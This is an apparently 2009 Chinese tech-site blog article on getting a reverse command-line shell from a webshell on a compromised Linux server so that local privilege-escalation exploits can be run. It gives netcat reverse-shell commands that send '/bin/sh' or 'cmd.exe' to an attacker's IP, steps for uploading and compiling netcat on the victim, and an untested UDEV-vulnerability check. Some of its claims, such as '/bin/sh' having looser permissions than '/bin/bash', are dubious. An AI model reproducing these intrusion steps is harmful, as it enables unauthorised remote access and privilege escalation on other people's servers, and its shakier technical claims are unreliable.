Linux下反弹CmdLine Shell小技巧

ZDNet软件频道 时间:2009-11-05 作者: | CCW 我要评论()
本文关键词:系统安全 Linux
昨晚(应该是今天凌晨)玩了半天朋友给的Linux的WebShell,本来想实践一下UDEV提权呢,最后发现服务器貌似已经打过补丁了。

  昨晚(应该是今天凌晨)玩了半天朋友给的Linux的WebShell,本来想实践一下UDEV提权呢,最后发现服务器貌似已经打过补丁了。

  不过还是有其他的收获的,所以我就YY下Linux反弹shell的问题。

  Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令,但是我们的EXP必须在可交互环境运行,否则如果直接在WebShell执行,即使能提权成功,我们也没法利用到。所以我们需要先反弹一个CmdLine Shell回来(直接说成CmdShell怕人误解...因为Win有个cmd.exe ^_^),然后在命令行终端下执行EXP进行提权。

  一般情况下,绝大多数人都会通过PHP WebShell的Back Connect功能弹回一个Shell,但是有时候会碰到服务器不支持PHP或者WebShell没法反弹的情况,比如这两天朋友给我的一个JSPShell所在服务器只支持JSP,不支持PHP。这时候,我们经典的netcat就可以派上用场了。

  平时在Windows下做事的时候,在必要的情况下我们可以先在本机运行nc -vv -lp 1234监听端口,然后在肉鸡上nc 12.21.12.21 1234 -e cmd.exe给我们反弹一个CmdShell,这个方法在Linux仍然可行。

  在本机监听后,在WebShell运行nc 12.21.12.21 1234 -e /bin/sh就能弹一个CmdLine Shell给我们。

  但我们经常碰到的情况并不都是这么100%顺利的,像昨晚整的那两台,每台都是不能直接执行nc的。一台有nc,但执行从是不起作用,另外一台直接压根就没有nc....

  不过,这个难不倒我们,我们可以给他装一个嘛,比较快捷的方法是,我们可以到http://netcat.sourceforge.net/download.php下载nc的源码,先在我们自己Linux机器上编译好以后把bin文件传上去(我开始传的我的Debian自带的netcat,结果仍然不能运行....)。如果还不行,那就把源码传上去,在目标机器上直接编译。

  昨晚那两台机器,一台我是直接传的本地编译后的,一台是在目标机器上编译的。如果直接传的nc可以运行的话还比较好说,如果需要在目标机器上编译的话,这里有点小技巧:

  因为在得到CmdLine Shell前,我们只能在WebShell里执行命令,一般每次只能执行一条,然后等回显。假如我们的WebShell在/var/www/site目录,那么我们每次执行命令默认的当前路径都是/var/www/site,而我们的netcat源码包解压在了/tmp/netcatsrc文件夹,这样的话,我们编译netcat的时候,configure还好说,可用/tmp/netcatsrc/configure命令,但下一步make的时候就不行了,因为当前路径是/var/www/site,而不是我们想要的/tmp/netcatsrc/,所以我们configure完了make的时候会报错。

  解决这个问题其实也很简单,可以直接把两句写成一句就可以:cd /tmp/netcatsrc;make

  用分号隔开写,把make跟在目录切换命令后面,这样编译的时候就不会报错了。(流浪猫教的..^_^)

  在还没有得到CmdLine Shell的时候,这样的写法还是很有用的。

  

  编译成功以后,我们就可以输入命令反弹Shell了(比如我这里nc路径是/tmp/nc):

  本地nc -vv -lp 80后

  /tmp/nc 202.xx.xx.250 80 -e /bin/sh就可以给我吗弹回来一个CmdLine Shell。

  效果如下图:

  

  ----------------

  

  要注意反弹的Linux Shell是没有$提示符的哦,执行一句返回一句。

  还有一点就是这里反弹Shell的时候我运行的是/bin/sh,当然运行/bin/bash也可以。

  不过我觉得最好还是运行/bin/sh吧,因为/bin/sh的权限比/bin/bash放的更开一些

  顺便说一下怎么判断目标是否有UDEV这个漏洞。

  Linux我还不知道怎么样查看它是否打过这个补丁,所以我想了个比较简单的办法:

  1.执行cat /proc/net/netlink,记录下PID A

  2.执行ps aux | grep udev ,记下root的PID B

  3.如果A = B - 1,则存在漏洞,否则不存在

  这是我自己想的,因为获得PID的时候有这两种方法,所以我通过他们对比来判断,但我并不能确定我这方法是100%正确的,仅供参考。

  效果如下图:

  在反弹的Shell里执行,发现得到的PID不一样,2487 != 1230

  

  在我自己机器上,PID一样,1184=1185-1

  


百度大联盟认证黄金会员Copyright© 1997- CNET Networks 版权所有。 ZDNet 是CNET Networks公司注册服务商标。
中华人民共和国电信与信息服务业务经营许可证编号:京ICP证010391号 京ICP备09041801号-159
京公网安备:1101082134